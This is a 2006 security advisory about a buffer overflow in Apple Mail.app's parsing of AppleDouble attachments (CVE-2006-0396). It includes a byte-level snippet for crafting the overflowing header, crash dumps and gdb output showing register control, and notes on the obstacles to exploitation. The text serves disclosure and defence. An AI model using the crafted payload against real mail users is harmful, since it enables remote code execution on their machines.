DMA[2006-0313a] - 'Apple OSX Mail.app RFC1740 Real Name Buffer Overflow'

DMA[2006-0313a] - 'Apple OSX Mail.app RFC1740 Real Name Buffer Overflow'
Author: Kevin Finisterre
Vendor: http://www.apple.com/macosx/
Product: 'Mac OSX 10.4.5 with Security Update 2006-001'
References:
http://www.digitalmunition.com/DMA[2006-0313a].txt
http://rfc.net/rfc1740.html
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0396

Description:
Security Update 2006-001 for Mac OS X included a fix for the Download Validation component of
Mail.app. Download Validation is used to warn the user if the file type is not "safe". Prior
to 2006-001 certain techniques could be used to disguise a file's type so that the validation
was bypassed. Unfortunately in the process of patching the previous problem a new one was
introduced.

After applying Security Update 2006-001 Mail.app becomes vulnerable to a buffer overflow that
may be triggered via a properly formatted MIME Encapsuled Macintosh file. Sending a file in
the AppleDouble format with a long Real Name entry will invoke the overflow. Reading through
RFC1740 should provide enough information to trigger the issue. The overflow is triggered
by the file that contains the AppleDouble header information.

The format of the header we need to send is as follows:

[4 byte magic num][4 byte version num][16 bytes of filler][2 byte num of entries][Entry…]
Entry descriptor for each Entry:
[4 byte entry id][4 byte offset][4 byte length]

Using the above layout we come up with the following code snippet for our exploit.

"\x00\x05\x16\x07". # AppleDouble Magic Number
"\x00\x02\x00\x00". # Version 2
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". # 16 Bytes of filler
"\x00\x03\x00\x00". # Number of entries (3)
"\x00\x09\x00\x00". # Entry ID 9 is for 'Finder Info'
"\x00\x3e\x00\x00". # Start of Finder Info data is at file offset 0x3e
"\x00\x0a\x00\x00". # Length of Finder Info is 0x0a or 10
"\x00\x03\x00\x00". # Entry ID 3 is for 'Real Name'
"\x00\x48\x00\x00". # Start of Real Name data is at file offset 0x48
"\x00\xf5\x00\x00". # Length of Real Name is 0xf5 or 245
"\x00\x02\x00\x00". # Entry ID 2 is for 'Resource Fork'
"\x01\x3d\x00\x00". # Start of Resource Fork is at file offset 0x013d
"\x05\x3a\x00\x00". # Length of Resource fork is 0x053a
"\x00\x00\x00\x00". # <null> filler
"\x00\x00\x00\x00". # <null> filler
"A" x 226 . "$retaddr" x 3 . "zzz.mov." . # remember this length is hard coded above.
…

If a message with the above header arrived in your inbox on Mail.app you would see only the
first 11 characters of the name provided by the Real Name entry. In this particular case you
see "AAAAAAAAAAA…mov" . Other examples could be "SuperTastey…mov" or NakedChicks…mov" .
The visual aspects of the (…) are surprisingly not that suspicious.

Upon double clicking the attached file on the arrived email the following dump is created.

Date/Time: 2006-03-04 10:35:32.472 -0500
OS Version: 10.4.5 (Build 8H14)
Report Version: 4

Command: Mail
Path: /Applications/Mail.app/Contents/MacOS/Mail
Parent: WindowServer [64]

Version: 2.0.7 (746.2)
Build Version: 1
Project Name: MailViewer
Source Version: 7460200

PID: 271
Thread: 0

Exception: EXC_BAD_ACCESS (0x0001)
Codes: KERN_INVALID_ADDRESS (0x0001) at 0x41414140

If we take a look at this in gdb we can see that several things are overwirtten.
(gdb) bt
#0 0x41424344 in ?? ()
Cannot access memory at address 0x41424344
Cannot access memory at address 0x31313131
Cannot access memory at address 0x41424344
Cannot access memory at address 0x41424344
#1 0x41424344 in ?? ()
Cannot access memory at address 0x41424344
Cannot access memory at address 0x41424344
Cannot access memory at address 0x31313131
warning: Previous frame identical to this frame (corrupt stack?)
Cannot access memory at address 0x41424344
Cannot access memory at address 0x41424344
Cannot access memory at address 0x31313139

We control r0, pc, lr and half of r31.
(gdb) i r $r0 $pc $lr $r31
r0 0x41424344 1094861636
pc 0x41424344 1094861636
lr 0x41424344 1094861636
r31 0x18b3030 25899056

Exploitation of this issue seems possible however there are currently some limitations
with regard to what can and can not be done.

The first issue involves previous exploitation attempts and the temporary files left
behind by such attempts.

k-fs-ibook:~ test$ ls -al /var/tmp/folders.502/TemporaryItems/ ~/Library/Mail\ Downloads/
/Users/test/Library/Mail Downloads/:
total 352
drwx------ 7 test admin 238 Mar 13 22:42 .
drwx------ 23 test admin 782 Mar 12 15:52 …
drwx------ 3 test admin 102 Mar 13 22:42 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000
11112222ABCD3333zzz.mov.mailhold

/var/tmp/folders.502/TemporaryItems/:
total 352
drwxr-xr-x 4 test wheel 136 Mar 13 22:38 .
drwx------ 3 test wheel 102 Mar 12 10:35 …
-rwxr-xr-x 1 test wheel 90000 Mar 13 22:44 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa00001
1112222ABCD3333zzz.mov.mov

The existance of a particular temporary file can halt the actions of an exploit attempting
to take advantage of this issue. While developing an exploit keeping the two folders shown
above clean is critical! The temporary files appear to be created during the process of
previewing a message. In some cases they may not be created due to failed mkstemp() calls.

The next issue centers around the fact that RFC1740 states that the Real Name entry can
only contain 7bit printable ascii, using shellcode addresses with 0xff and 0xbf will not
be possible because of this. This obviously eliminates alot of easy shellcode addresses
unfortunately.

0xbfffe6e1: "Users/test/Library/Mail Downloads/", 'a' <repeats 166 times>…
0xbfffe7a9: 'a' <repeats 52 times>, "00\032яш"

Code in other areas seems to be either in an unreliable location or in a unicode format.
I am really not in the mood to hunt around memory for a stable address but I am sure that
something could be put together to exploit this.

Here is an example of the Unicode strings that can be found in memory at random places.
(gdb) x/30a $r29
0x18b8a00: 0xa28e6424 0x12100000 0x2f0055 0x730065
0x18b8a10: 0x720073 0x2f0074 0x650073 0x74002f
0x18b8a20: 0x4c0069 0x620072 0x610072 0x79002f
0x18b8a30: 0x4d0061 0x69006c 0x200044 0x6f0077
0x18b8a40: 0x6e006c 0x6f0061 0x640073 0x2f0061
0x18b8a50: 0x610061 0x610061 0x610061 0x610061
0x18b8a60: 0x610061 0x610061 0x610061 0x610061
0x18b8a70: 0x610061 0x610061

On x86 the Unicode may not be a problem however I do not have access to an intel based
mac so I can not confirm this. On PowerPC however for the time being there is not much
I can do on the Unicode front. I am not aware of any Venetian style PowerPC lovin at the
moment.

For the time being my exploitation has not gone beyond what I have documented here. Beyond
the few hurdles I have outlined may lie a few more, but who knows? Good luck.

Work Around:
Install 2006-002 update or simply do not open attachments in Mail.app
http://www.apple.com/support/downloads/

Sidenote:
Much thanks to Apple for the quick turnaround time and prompt weekend responses! A same
day response and 9 day turn around is hard to beat.